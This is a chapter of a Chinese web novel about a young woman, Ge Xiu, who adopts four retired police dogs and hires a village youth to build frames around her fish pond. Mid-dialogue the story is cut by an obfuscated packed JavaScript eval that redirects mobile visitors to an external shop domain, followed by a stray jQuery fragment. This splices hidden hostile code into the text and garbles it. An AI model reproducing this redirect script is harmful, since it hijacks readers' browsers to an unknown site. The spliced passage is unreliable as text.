51. 改变
    “汪汪!”

    顾小狼脸色惨白地握紧摩托车把手。

    “我……我突然想起来还有事要办。”他说:“等你们挑完我再来接你们。”

    赵鹤友看他脸色不对劲,“怕狗?”

    “不,不怕。”

    声音都抖成这样了,还说不怕。

    赵素友问,“你怕狗一维怎么还找你来,那他家狗谁来挑?”

    顾小狼缓了会,说话没那么紧。

    “我二嫂突然出事,没顾上,让秀姐儿帮我挑吧,正好我去医院看看我二嫂。”

    “秀?”赵素友看向葛秀。

    “我没问题,都是挑了看林地的,三大娘,大舅,你们先进去,我问问他有啥要求。”

    “行。”

    赵鹤友兄妹俩先进去。

    葛秀走到顾小狼面前,“还能骑车吗?不能就去集上找地方坐着等。”

    “我要去看二嫂。”顾小狼还在嘴硬。

    葛秀指了指基地,“不是说盼晴一早送县城去了。”

    这是公社。

    “……”

    “你故意的。”顾小狼小小声控诉。

    葛秀轻笑一声,意味不明。

    “去等着吧,你哥说要几条没?”

    “两条。”

    “知道了。”

    顾小狼眨眨眼,就见人痛快地转身离开,扎好摩托,无声地蹲下把自己藏在车后头,挡住视线能看到警犬基地的一切。

    也不知道等了多久,零碎的脚步声混合着哈气,悄悄歪头,就对上四双机敏的眼睛,炯炯有神地盯着他。

    “!!!”

    “小狼,回来这么快。”赵素友有些惊讶,“快来看看,这边两条是给你哥挑的。”

    顾小狼虚虚瞄一眼,立马就转移视线。

    “挺好的,挺好的。”

    “你家领养的都是退休军犬,黑背叫将军,苏联红叫霸王。”

    将军是标准的中等体型,浅灰色恒斑的黑色被毛,肌肉强健,今年两岁半,一次任务发现了埋的延迟雷,被炸坏了嗅觉。

    霸王体形要大一些,黑背红腹短毛竖耳四肢细长,眼睛大而凶,今年六岁,是正常退役,一半六岁后的身体机能开始退化,没办法再适应一些高强度训练和任务。

    霸王本来是要转警犬的,奈何分到原安县,一些警犬都还等待安排,没有合适的位置,继续耽误下去只会浪费时间,负责人就把霸王的名字报上来。

    “我家这两头,昆明犬狼青叫威武,马犬……叫来福。”

    说出来显得有点格格不入,偏偏来福是霸王外最凶的,来福娘是国外特意引进的品种,偏偏被来福爹钻了空子,生了来福个串串。

    好在来福争气,遗传的都是优点,在职两年期间,荣获了两次二等功,一次三等功,最后一次任务伤到前肢,手术后看着恢复正常,一旦快速奔跑就会暴露。

    威武是唯一的一头警犬,将军和来福是伤退,威武则是病退,他执行任务的环境太差,草丛灌木丛里经常钻来钻去,加上威武毛长,就害了皮肤病。

    之前治好一次送回去,没多久又反复,如此下来也不舍得再折腾威武,就报了病退。

    威武五岁,来福三岁半。

    四条大狗就简单地拴了条牵引绳,细细的,葛秀手腕也细细的,看起来它们稍微一用力就能拽着人跑。

    好在嘴巴里都叼着东西。

    葛秀察觉到他的视线,解释道,“是他们的行李,你去看过盼晴了?”

    “啊?”顾小狼撇头问,“这么大狗,怎么回去。”

    “跑回去就好。”

    那之前要先去办手续。

    葛秀指了指威武它们,“这样过去要吓到人,你帮我跑一趟吧,需要盖章的文件都在这。”

    顾小狼立刻满血复活。

    后面,赵鹤友看着两位小朋友的背影,笑着问妹妹。

    “小同志是你堂侄女对象?”

    “可别乱点鸳鸯谱,没有的事儿,俩人就是邻居。”

    赵鹤友摇摇头,“那你提点醒吧,这小子心思不纯。”

    赵素友皱起眉,便开始认真打量起来,越看越觉得不对劲。

    以前没注意,没发现小狼那眼神就差长在秀身上。

    赵素友有些为难,很快又放下。

    “秀忙着呢,小狼也要上学,小孩子分开后感情就会慢慢淡的。”

    “你心里有数就好。”

    ……

    手续办完,葛秀再回村,四条大狗瞬间俘获所有目光。

    赶上罗珍带着孩子,还想做最后的努力,瞧见那狗脸都绿了,二话不说立马掉头回家。

    狗狗没带回家,直接牵到北地猪圈。

    知道葛秀要养狗,葛守祖贴瓦的时候,就在门口单独搭了一间小屋,盘了两个草垛,上头盖着旧衣服。

    葛秀记得负责人教导的,指着位置说,霸王打头绕一圈,确定没什么危险后,主动将叼一路的包裹放下。

    葛秀看霸王霸占了最好的位置,很想说这不是你家啊。

    瞅了眼不争不抢的来福和威武。

    算是好消息,不用怕它们合不来打架。

    之后牵着溜一圈,猪圈起步,先到林地边,霸王和将军拴在顾家林地边,先领着威武和来福,林地,耕地,鱼塘。

    威武和来福边走边尿。

    回来再把她们拴上,去牵霸王和将军,两边就都懂了,这是在划地盘,分配任务。

    单单走一圈下来,一天就过去了。

    葛秀回家时,顾小狼已经离开回学校。

    葛母出来看到她,“来福它们吃什么,以后做饭是不是要多做点,剩了给他们?”

    “不用,和小毛驴一样吃就行。”除了草,豆饼和麦麸都可以,“那天做了肉,给留骨头就好。”

    “咱要不要给毛驴也起个名?像来福这样的。”

    虽然是威武长得最憨态,葛母却更喜欢来福。

    葛秀抿出意思,试探道,“那叫富贵?或者旺财,叫财神也行,金豆,元宝。”

    “金豆不行,和豆豆撞名了,叫旺财吧。”

    葛秀觉得都一样。

    一转头,就发现娘不见了,端着给旺财煮好的晚饭,热情地去通知旺财的新名字。

    隔天,顾一维还是没回来。

    葛秀去关心了下,见顾大娘黑着脸犯愁,疑惑地看向穆薇。

    穆薇摊手耸肩,啥也没说。

    葛秀想,应该不是大事。

    她离开顾家,准备去找人帮忙搭架子。

    半路撞见上次和顾小狼去河边闹腾的几个人,十好几的年纪,家里不像是顾婶对顾小狼那样舍得,学早就不上,成天在村里溜达没事干。

    “秀姐儿,听讲小狼昨天回来,还骑了辆摩托,是真的假的,你见过吗?”

    “真

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345753|150379||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的,不过他回县城了。”

    “还真回去上学啊。”

    后头个高的小伙拽了下前面人,给葛秀让路。

    “秀姐儿这是干啥去?”

    “去喊我哥,围着鱼塘搭一圈架子。”

    “管饭吗?”突兀地问完就后悔,“没事没事,秀姐儿你要是缺人喊我们,我们都有空。”

    葛秀多看说话的人两眼。

    村里白寡妇的大儿子,顾甲,今年十七。

    他爹去世后,奶奶立刻翻脸,把他娘和他们三兄弟一块撵出家门,啥都没给。

    后来村里看不下去,借了老破房子暂住。

    要说应该娘四个相依为命,可寡妇过日子难,白寡妇为了养儿子,哄了村里几个手大的男人。

    有一次被顾甲撞见,那之后就挪了性子,偷鸡摸狗啥都干。

    葛秀很快回过神,“给我干活得认真,最后是我六叔验收。”

    顾甲干笑一声,心里头有点后悔说出来。

    旁边王刘拍了他下,“管饭我也干,小狼天天夸秀姐儿你做饭好吃。”

    那是之前了。

    葛秀心想,她现在是被穆薇给比下去。

    人家会做也会吃。

    “你们真打算干?”

    那样她就不去找哥几个了。

    “很累吗?很累就算了。”唯一一个一直没说话的泄了气。

    他想不明白,明明刚刚还在讲,趁着村里鱼塘还没打捞,夜里拿网去摸鱼的,咋现在要去帮忙。

    不好直接不给兄弟面子,只能这么委婉地提醒。

    葛秀笑了,“累肯定累的,就没干活不累的,你们慢慢想。”

    葛秀临时改变方向,去木工家借了点工具。

    前段时间收拾了许多树木,葛秀换了一些洋钉,抡起锤子敲敲打打,自己定起架子。

    顾甲是午饭后来的。

    来了闷不吭声地就帮忙劈起木头,葛秀看一眼没制止。

    只是傍晚葛母来送饭,因为没提前说,葛母只带她的,至于旺财车上拉的,那是霸王几个的口粮。

    葛秀便把自己的饭给她。

    回家才问葛母,白寡妇家最近是不是出什么事了。

    同为寡妇,葛母有时候也会觉得自己幸运。

    “前两天见白寡妇来在找过顾大夫,可能是生了啥病,我见顾甲在你那儿,你喊的?”

    “不是,他自己来的。”

    “能帮就帮一点吧,要是这次能让三个小孩正干,白寡妇心里肯定高兴。”

    葛秀不予置否。

    第二天,顾甲带着洗干净的饭盒早早来了,葛秀和他商量起工钱。

    “我鱼塘一圈都要搭架子,此外还有林地,弄好要在西北拐上打了木屋,能干吗?”

    “能!”

    后来王刘找来,顿了会,没和顾甲说几句话就走了。

    葛秀不管他们来不来,但提前和六叔说了这事。

    六叔不甚在意,“那几个小的胆子小,闹不出啥事,缺人咋没来跟我讲,喊你哥啊。”

    “当时家里没人,正好碰见了。”

    六叔点点头,不知道信不信,后面叮嘱一句,“雇人干活行,他家破事你别掺和,听见没?”

    “知道。”

    白寡妇名声不好。

    “你自己也少和他单独在一块,鱼塘让他弄,你不是要栽铁菱角爬架当围墙,挖到根没?”